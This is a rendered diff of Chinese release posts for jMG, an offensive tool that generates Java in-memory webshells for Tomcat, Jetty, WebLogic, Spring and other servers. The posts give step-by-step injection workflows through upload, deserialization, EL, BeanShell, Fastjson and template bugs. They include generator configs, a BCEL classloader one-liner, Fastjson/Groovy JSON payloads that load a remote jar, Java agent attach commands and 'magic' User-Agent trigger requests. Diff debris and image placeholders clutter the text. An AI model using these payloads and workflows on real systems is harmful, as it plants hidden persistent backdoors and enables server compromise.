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title: jMG v1.0.4 - 高度自定义的 Java 内存马生成工具
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author: pen4uin
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date: 2023-06-04
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---
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# jMG v1.0.4 - 高度自定义的 Java 内存马生成工具
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## 0x01 简介
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**jMG (Java Memshell Generator)** 是一款支持高度自定义的 java 内存马生成工具,可作为 woodpecker 的插件使用,提供常见中间件的内存马注入支持。
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功能介绍
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- 支持的中间件 (Tomcat/Resin/Jetty/WebLogic/WebSphere/Undertow/GlassFish/Spring)
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- 支持的网站管理工具 (Behinder/Godzilla/Custom)
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- 支持的内存马类型 (Filter/Listener/Interceptor)
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- 支持的输出格式 (BASE64/BCEL/CLASS/JS/JSP/JAR/BIGINTEGER)
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- 支持的辅助模块 (探测目标中间件/序列化数据封装)
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模块划分
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- 内存马生成模块
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- Behinder、Godzilla
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- Custom
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- 注入自定义的Filter和Listener,常见场景:其他网站管理工具的服务端、内存代理、内存水坑等
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- 辅助模块
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- ServerType Detector 中间件探测器
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- 探测中间件信息,常见场景:SpringBoot Fatjar
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- 提供 4 种方式判断目标中间件 (DFSEcho/Sleep/DNSLog/HTTPLog)
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- Ysoserial Payload Generator
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- 基于 ysoserial-for-woodpecker 对反序列化漏洞利用提供支持、提高漏洞利用效率
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参数说明
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| 参数名称 | 参数说明 | 其他 | |
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|-------------|----------|----------------------------------------|-|
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| server_type | 选择中间件的类型 | |
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| shell_type | 选择内存马的类型 | |
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| gadget_type | 选择利用链的类型 | 根据gadget自动完成对class的特殊处理,如继承类、实现接口、添加注解 |
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| format_type | 输出格式 | |
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更多参数 - 参数自定义
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## 0x02 中间件覆盖情况
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| | godzilla-listener | godzilla-filter | behinder-listener | behinder-filter |
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|-----------------|-------------------|-----------------|-------------------|-----------------|
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| tomcat 9.0.39 | ✅ | ✅ | ✅ | ✅ |
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| tomcat 8.5.53 | ✅ | ✅ | ✅ | ✅ |
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| tomcat 7.0.59 | ✅ | ✅ | ✅ | ✅ |
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| tomcat 6.0.48 | ✅ | ✅ | ✅ | ✅ |
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| tomcat 5.5.36 | ✅ | ✅ | ✅ | ✅ |
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| jetty 9.4.43 | ✅ | ✅ | ✅ | ✅ |
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| jetty 8.2.0 | ✅ | ✅ | ✅ | ✅ |
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| jetty 7.6.0 | ✅ | ✅ | ✅ | ✅ |
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| resin 4.0.66 | ✅ | ✅ | ✅ | ✅ |
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| resin 3.1.15 | ✅ | ✅ | ❌ | ✅ |
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| weblogic 10.3.6 | ✅ | ✅ | ✅ | ✅ |
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| weblogic 12.1.3 | ✅ | ✅ | ✅ | ✅ |
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| websphere 8.5.5 | ✅ | ✅ | ❌ | ✅ |
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| websphere 9.0.0 | ✅ | ✅ | ❌ | ✅ |
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注:以上测试结果仅供参考
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## 0x03 常见漏洞场景
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### 01 文件上传漏洞 (JSP)
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本地测试环境
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- Tomcat v6.0.48
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- JDK 8
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- 文件上传
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1、生成 jsp 文件
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2、上传 jsp 到目标服务器,访问即可注入内存马,参考使用说明进行设置
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- 设置请求头
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3、成功连接
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### 02 反序列化漏洞 (readObject)
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本地测试环境
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- Tomcat v8.5.53
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- JDK 8
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- readObject 反序列化
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- CB1 链
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1、生成 class 文件
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```text
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server_type=Tomcat
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shell_type=Listener
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# 继承 AbstractTranslet
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gadget_type=JDK_AbstractTranslet
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format_type=CLASS
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output_path=/tmp/
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```
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2、使用 `辅助模块` 进行序列化数据封装
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```text
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yso_gadget=CommonsBeanutils1
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yso_cmd=class_file:/tmp/HttpClientUtil.class
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format_type=BASE64
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```
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注:依赖 https://github.com/woodpecker-framework/ysoserial-for-woodpecker
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3、利用后,参考使用说明进行连接
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### 03 表达式注入漏洞 (EL)
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本地测试环境
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- Tomcat v8.5.83
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- JDK 8
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- EL 表达式代码执行
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1、生成 class文件
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```text
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server_type=Tomcat
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shell_type=Listener
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gadget_type=NONE
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format_type=CLASS
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output_path=/tmp/
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```
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2、使用 jexpr-encoder-utils 进行封装
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注:依赖 https://github.com/woodpecker-appstore/jexpr-encoder-utils
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3、利用后,参考使用说明进行连接
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### 04 代码执行漏洞 (Bsh)
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本地测试环境
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- Resin v4.0.40
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- JDK 8
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- Bsh 代码执行漏洞
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1、选择 输出格式为 BCEL ,生成 paylaod
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```text
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server_type=Resin
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shell_type=Listener
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gadget_type=NONE
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format_type=BCEL
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```
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2、利用 BCEL 打内存马
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```text
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new com.sun.org.apache.bcel.internal.util.ClassLoader().loadClass("BCEL编码后的paylaod").newInstance();
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```
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3、参考使用说明进行连接
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### 05 反序列化漏洞 (Fastjson)
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本地测试环境
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- Tomcat v8.5.83
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- Fastjson v1.2.80 反序列化漏洞
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- Groovy v3.0.8
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1、选择 输出格式为 JAR,生成 payload
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```text
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server_type=Tomcat
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shell_type=Listener
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# 选择利用链为 Fastjson+Groovy
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gadget_type=FastjsonGroovy
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format_type=JAR
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output_path=/tmp/fj/
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```
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2、利用 groovy 利用链打内存马
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第1个请求
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```json
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{
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"@type":"java.lang.Exception",
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"@type":"org.codehaus.groovy.control.CompilationFailedException",
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"unit":{}
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}
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```
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第2个请求
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```json
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{
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"@type":"org.codehaus.groovy.control.ProcessingUnit",
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"@type":"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit",
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"config":{
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"@type":"org.codehaus.groovy.control.CompilerConfiguration",
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"classpathList":"http://127.0.0.1:8888/NetworkUtils.jar"
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}
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}
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```
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3、参考使用说明进行连接
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### 06 模板注入漏洞 (Thymeleaf)
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本地测试环境
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- SpringBoot v2.2.0.RELEASE
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- 内嵌 Jetty
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- JDK 8
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- Thymeleaf 模板注入漏洞
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由于 springboot 可以自定义中间件,所以在 springboot 场景下注入内存马时需要考虑目标中间件可能不是常见的tomcat,有可能是jetty/undertow,也有可能是信创中间件。
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这种情况一般有两种方案:
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- 注入框架层面的内存马,比如 interceptor
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- 先判断出目标中间件,再注入对应中间件的内存马
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这个时候就需要上 辅助模块 - ServerType Detector 来探测目标中间件。
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1、优先使用 DFSEcho 通过回显来判断目标中间件,失败后再考虑dnslog等其他选择
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```text
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detect_way=DFSEcho
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server_type=Tomcat
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dnslog_domain=xxx.dnslog.cn
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httplog_url=http://xxx.httplog.cn
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sleep_seconds=5
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gadget_type=NONE
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format_type=BCEL
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```
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2、获取到目标中间件为 jetty
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3、生成对应的 payload
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```text
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server_type=Jetty
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shell_type=Listener
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gadget_type=NONE
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format_type=BCEL
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```
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4、漏洞利用
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第1次尝试 - 失败
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很常见的问题,参考 shiro 的漏洞利用的解决方案,写个 loader 加载字节码再 defineclass 即可。
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重新生成 payload
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5、利用后参考使用说明进行连接即可
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更多的场景就见仁见智了。
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## 0x04 常见利用场景
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### 01 注入内存代理
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本地测试环境
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- Tomcat v8.5.53
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- JDK 8
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- readObject 反序列化
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- CB1 链
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1、以 suo5 为例,编译 Suo5Filter.java
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https://github.com/zema1/suo5/blob/main/assets/Suo5Filter.java
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2、选择对应的中间件,生成 payload
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```text
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server_type=Tomcat
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gadget_type=JDK_AbstractTranslet
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format_type=CLASSc
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lass_file_path=/tmp/Suo5Filter.class
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output_path=/tmp/
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```
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3、使用 辅助模块 进行序列化数据封装
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4、利用后连接测试,内存代理注入成功
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## 0x05 小结
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下载地址
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[java-memshell-generator](https://github.com/pen4uin/java-memshell-generator)
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注意⚠️
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```text
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该工具仅适用于在授权环境/测试环境进行使用,请勿用于生产环境。
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如果遇到 bug / 建议 / 实战场景需求,欢迎提 issue 交流
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```
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目录结构如下 (需要下载 yso-for-woodpecker)
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```text
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pen4uin@bogon Desktop % tree /tmp/woodpecker
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/tmp/woodpecker
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├── common
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│ └── ysoserial-for-woodpecker-0.5.2.jar
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├── config.db
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├── plugin
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│ └── jMG-1.0.4.beta1.jar
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└── woodpecker-framework.1.3.5.jar
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```
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<br>
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参考
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- https://github.com/feihong-cs/memShell
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- https://github.com/su18/MemoryShell
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- https://github.com/woodpecker-framework/
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- https://github.com/BeichenDream/GodzillaMemoryShellProject
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After Width: | Height: | Size: 61 KiB |
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After Width: | Height: | Size: 77 KiB |
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After Width: | Height: | Size: 94 KiB |
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After Width: | Height: | Size: 74 KiB |
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After Width: | Height: | Size: 178 KiB |
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After Width: | Height: | Size: 100 KiB |
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After Width: | Height: | Size: 228 KiB |
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After Width: | Height: | Size: 179 KiB |
|
After Width: | Height: | Size: 64 KiB |
|
After Width: | Height: | Size: 156 KiB |
|
After Width: | Height: | Size: 183 KiB |
|
After Width: | Height: | Size: 159 KiB |
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After Width: | Height: | Size: 166 KiB |
|
After Width: | Height: | Size: 65 KiB |
|
After Width: | Height: | Size: 114 KiB |
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After Width: | Height: | Size: 162 KiB |
|
After Width: | Height: | Size: 168 KiB |
|
After Width: | Height: | Size: 110 KiB |
|
After Width: | Height: | Size: 127 KiB |
|
After Width: | Height: | Size: 151 KiB |
|
After Width: | Height: | Size: 99 KiB |
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After Width: | Height: | Size: 294 KiB |
|
After Width: | Height: | Size: 38 KiB |
|
After Width: | Height: | Size: 108 KiB |
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After Width: | Height: | Size: 178 KiB |
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After Width: | Height: | Size: 69 KiB |
@@ -0,0 +1,51 @@
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---
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||||
title: jMG v1.0.5
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||||
author: pen4uin
|
||||
date: 2023-06-10
|
||||
---
|
||||
|
||||
|
||||
# jMG v1.0.5
|
||||
|
||||
## 0x01 前言
|
||||
|
||||
上篇文章中介绍了该工具作为 woodpecekr 插件的工作模式,并通过多个代码执行漏洞场景进行了演示。
|
||||
|
||||
本篇文章是在添加对GUI 工作模式支持后的补充。
|
||||
|
||||
## 0x02 工具简介
|
||||
|
||||
**jMG (Java Memshell Generator)** 是一款支持高度自定义的 Java 内存马生成工具,提供常见中间件的内存马注入支持。不仅可作为 woodpecker 的插件使用,也可以作为独立的 GUI 工具进行使用。
|
||||
|
||||
|
||||
## 0x03 工作模式
|
||||
|
||||
### 插件 for Woodpecker
|
||||
|
||||

|
||||
|
||||
### 独立 GUI
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
## 0x04 小结
|
||||
|
||||
免责声明
|
||||
> 该工具仅适用于在授权环境/测试环境进行使用,请勿用于生产环境。
|
||||
|
||||
|
||||
<br>
|
||||
参考
|
||||
- https://github.com/feihong-cs/memShell
|
||||
- https://github.com/su18/MemoryShell
|
||||
- https://github.com/BeichenDream/GodzillaMemoryShellProject
|
||||
- https://github.com/woodpecker-framework/
|
||||
- https://github.com/woodpecker-appstore/jexpr-encoder-utils
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
After Width: | Height: | Size: 388 KiB |
|
After Width: | Height: | Size: 273 KiB |
@@ -0,0 +1,88 @@
|
||||
---
|
||||
title: jMG v1.0.6
|
||||
author: pen4uin
|
||||
date: 2023-09-03
|
||||
---
|
||||
|
||||
# jMG v1.0.6
|
||||
|
||||
## 0x01 前言
|
||||
|
||||
jMG(Java Memshell Generator)v1.0.6 完成了来自社区师傅们的大部分反馈和需求。
|
||||
|
||||
|
||||
## 0x02 更新日志
|
||||
核心模块
|
||||
|
||||
- 新增对网站管理工具「AntSword」的支持,提供 Listener/Filter 类型内存马的注入
|
||||
- 新增对HTTP代理工具「Suo5」 的支持,提供 Listener/Filter/Interceptor 类型内存马的注入
|
||||
- 新增对响应式框架 Spring WebFlux 内存马的支持
|
||||
- 修复中间件 WebSphere 注入器的 Bug
|
||||
- 删除class 的SourceFileAttribute (源文件名) 信息
|
||||
|
||||
使用体验
|
||||
|
||||
- 新增设置菜单,支持多种主题切换
|
||||
- 新增右键菜单,支持以文件保存结果
|
||||
- 其他优化
|
||||
|
||||
## 0x03 功能测试
|
||||
|
||||
### AntSword
|
||||
|
||||
1、选择工具类型为 AntSword,生成 payload
|
||||
|
||||

|
||||
|
||||
2、注入后按照使用说明进行连接
|
||||
|
||||

|
||||
|
||||
|
||||
### Suo5
|
||||
|
||||
> 感谢Koalr师傅提供的suo5 listener/interceptor server端
|
||||
|
||||
1、选择工具类型为 Suo5,生成 payload
|
||||
|
||||

|
||||
|
||||
2、注入后按照使用说明进行连接
|
||||
|
||||

|
||||
|
||||
### Spring WebFlux
|
||||
|
||||
本地测试环境
|
||||
|
||||
- SpringBoot 2.7.15
|
||||
- spring-webflux-5.3.29.jar
|
||||
|
||||
1、选择工具类型为 Godzilla,生成 payload(目前只适配了 Godzilla)
|
||||
|
||||

|
||||
|
||||
2、注入后按照使用说明进行连接
|
||||
|
||||

|
||||
|
||||
### 主题切换
|
||||
|
||||
此更新主要是为了提升用户体验。
|
||||
|
||||
默认 - FlatLightLaf
|
||||
|
||||

|
||||
|
||||
其他 - FlatDarcula
|
||||
|
||||

|
||||
|
||||
## 0x04 小结
|
||||
|
||||
jMG 目前已经基本覆盖大部分场景的内存马利用需求。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
After Width: | Height: | Size: 290 KiB |
|
After Width: | Height: | Size: 130 KiB |
|
After Width: | Height: | Size: 325 KiB |
|
After Width: | Height: | Size: 81 KiB |
|
After Width: | Height: | Size: 296 KiB |
|
After Width: | Height: | Size: 172 KiB |
|
After Width: | Height: | Size: 62 KiB |
|
After Width: | Height: | Size: 88 KiB |
@@ -0,0 +1,146 @@
|
||||
---
|
||||
title: jMG v1.0.8 - Java Agent 篇
|
||||
author: pen4uin
|
||||
date: 2024-04-12
|
||||
---
|
||||
|
||||
# jMG v1.0.8 - Java Agent 篇
|
||||
|
||||
鸽了半年的功能 —— 跨 JVM 进程注入内存马。
|
||||
|
||||
https://github.com/pen4uin/java-memshell-generator/issues/4
|
||||
|
||||
## 0x01 简介
|
||||
|
||||
新增对 Tomcat 和 SpringBoot(SpringMVC) Agent 注入内存马的支持,并分别在 Tomcat 8 + JDK 8、SpringBoot 2 + JRE 8、XXL-JOB 2.1.0 完成测试。
|
||||
|
||||
## 0x02 功能测试
|
||||
|
||||
### Tomcat 8 + JDK 8
|
||||
|
||||
0、测试环境
|
||||
|
||||
- Tomcat 8.5
|
||||
- JDK 8
|
||||
|
||||
1、选择 Tomcat + JAR_AGENT
|
||||
|
||||

|
||||
|
||||
2、将 agent 传到目标服务器上执行
|
||||
|
||||
```shell
|
||||
# list pid
|
||||
java -jar jmg-agent.jar
|
||||
# attach pid
|
||||
java -jar jmg-agent.jar [pid]
|
||||
```
|
||||
|
||||

|
||||
|
||||
3、注入内存马
|
||||
|
||||
- 携带 User-Agent: magic 触发内存马注入逻辑
|
||||
|
||||
```http
|
||||
GET / HTTP/1.1
|
||||
Host: 127.0.0.1:9090
|
||||
User-Agent: Mozilla/5.0 (Macintosh; magic Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0
|
||||
Accept: image/avif,image/webp,*/*
|
||||
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
|
||||
Accept-Encoding: gzip, deflate
|
||||
Connection: close
|
||||
```
|
||||
|
||||
4、按照基础信息进行连接
|
||||
|
||||

|
||||
|
||||
### SpringBoot 2 + JRE 8
|
||||
|
||||
0、测试环境
|
||||
- SpringBoot 2.5.3 + Embedded Jetty
|
||||
- JRE 8
|
||||
|
||||
1、选择 SpringMVC + JAR_AGENT
|
||||
|
||||

|
||||
|
||||
2、将生成的 agent 传到目标服务器上执行
|
||||
|
||||
纯 jre 环境无 tools.jar,jmg-agent 会自动释放内置 tools.jar 到临时目录
|
||||
|
||||

|
||||
|
||||
3、注入内存马
|
||||
|
||||
- 携带 User-Agent: magic 触发内存马注入逻辑
|
||||
|
||||
```http
|
||||
GET / HTTP/1.1
|
||||
Host: 127.0.0.1:9090
|
||||
User-Agent: Mozilla/5.0 (Macintosh; magic Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0
|
||||
Accept: image/avif,image/webp,*/*
|
||||
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
|
||||
Accept-Encoding: gzip, deflate
|
||||
Connection: close
|
||||
```
|
||||
|
||||
4、按照基础信息进行连接
|
||||
|
||||

|
||||
|
||||
### XXL-JOB (executor -> admin)
|
||||
|
||||
0、测试环境
|
||||
|
||||
- XXL-JOB 2.1.0
|
||||
- JDK 8
|
||||
- Executor 与 Admin 在同一台服务器上
|
||||
|
||||
1、选择Tomcat + JAR_AGENT
|
||||
|
||||

|
||||
|
||||
2、将 agent 写到目标服务器上执行
|
||||
|
||||
(1) 新增任务列 pid
|
||||
|
||||

|
||||
|
||||
(2) 调度日志看结果
|
||||
|
||||
```text
|
||||
[*] Found pid 76495 ——> [com.xxl.job.admin.XxlJobAdminApplication]
|
||||
[*] Found pid 76592 ——> [com.xxl.job.executor.XxlJobExecutorApplication]
|
||||
```
|
||||
|
||||
(3) 选择 admin pid 进行 attach
|
||||
|
||||

|
||||
|
||||
(4) attach 成功
|
||||
|
||||

|
||||
|
||||
3、注入内存马
|
||||
|
||||
- 携带 User-Agent: magic 触发内存马注入逻辑
|
||||
|
||||
```http
|
||||
GET /xxl-job-admin/toLogin HTTP/1.1
|
||||
Host: 127.0.0.1:9090
|
||||
User-Agent: Mozilla/5.0 (Macintosh; magic Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0
|
||||
Accept: application/json, text/javascript, */*; q=0.01
|
||||
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
|
||||
Accept-Encoding: gzip, deflate
|
||||
Connection: close
|
||||
```
|
||||
|
||||
4、按照基础信息进行连接
|
||||
|
||||

|
||||
|
||||
## 0x03 小结
|
||||
|
||||
测试环境属于较理想环境,实战可能会遇到各种坑点,若有问题反馈与讨论请附上环境信息+报错日志。
|
||||
|
After Width: | Height: | Size: 62 KiB |
|
After Width: | Height: | Size: 100 KiB |
|
After Width: | Height: | Size: 37 KiB |
|
After Width: | Height: | Size: 102 KiB |
|
After Width: | Height: | Size: 49 KiB |
|
After Width: | Height: | Size: 65 KiB |
|
After Width: | Height: | Size: 18 KiB |
|
After Width: | Height: | Size: 28 KiB |
|
After Width: | Height: | Size: 19 KiB |
|
After Width: | Height: | Size: 73 KiB |
|
After Width: | Height: | Size: 138 KiB |
|
After Width: | Height: | Size: 57 KiB |
|
After Width: | Height: | Size: 78 KiB |
|
After Width: | Height: | Size: 141 KiB |
|
After Width: | Height: | Size: 78 KiB |
|
After Width: | Height: | Size: 82 KiB |
|
After Width: | Height: | Size: 192 KiB |
|
After Width: | Height: | Size: 36 KiB |
|
After Width: | Height: | Size: 36 KiB |
|
After Width: | Height: | Size: 37 KiB |
|
After Width: | Height: | Size: 89 KiB |
|
After Width: | Height: | Size: 211 KiB |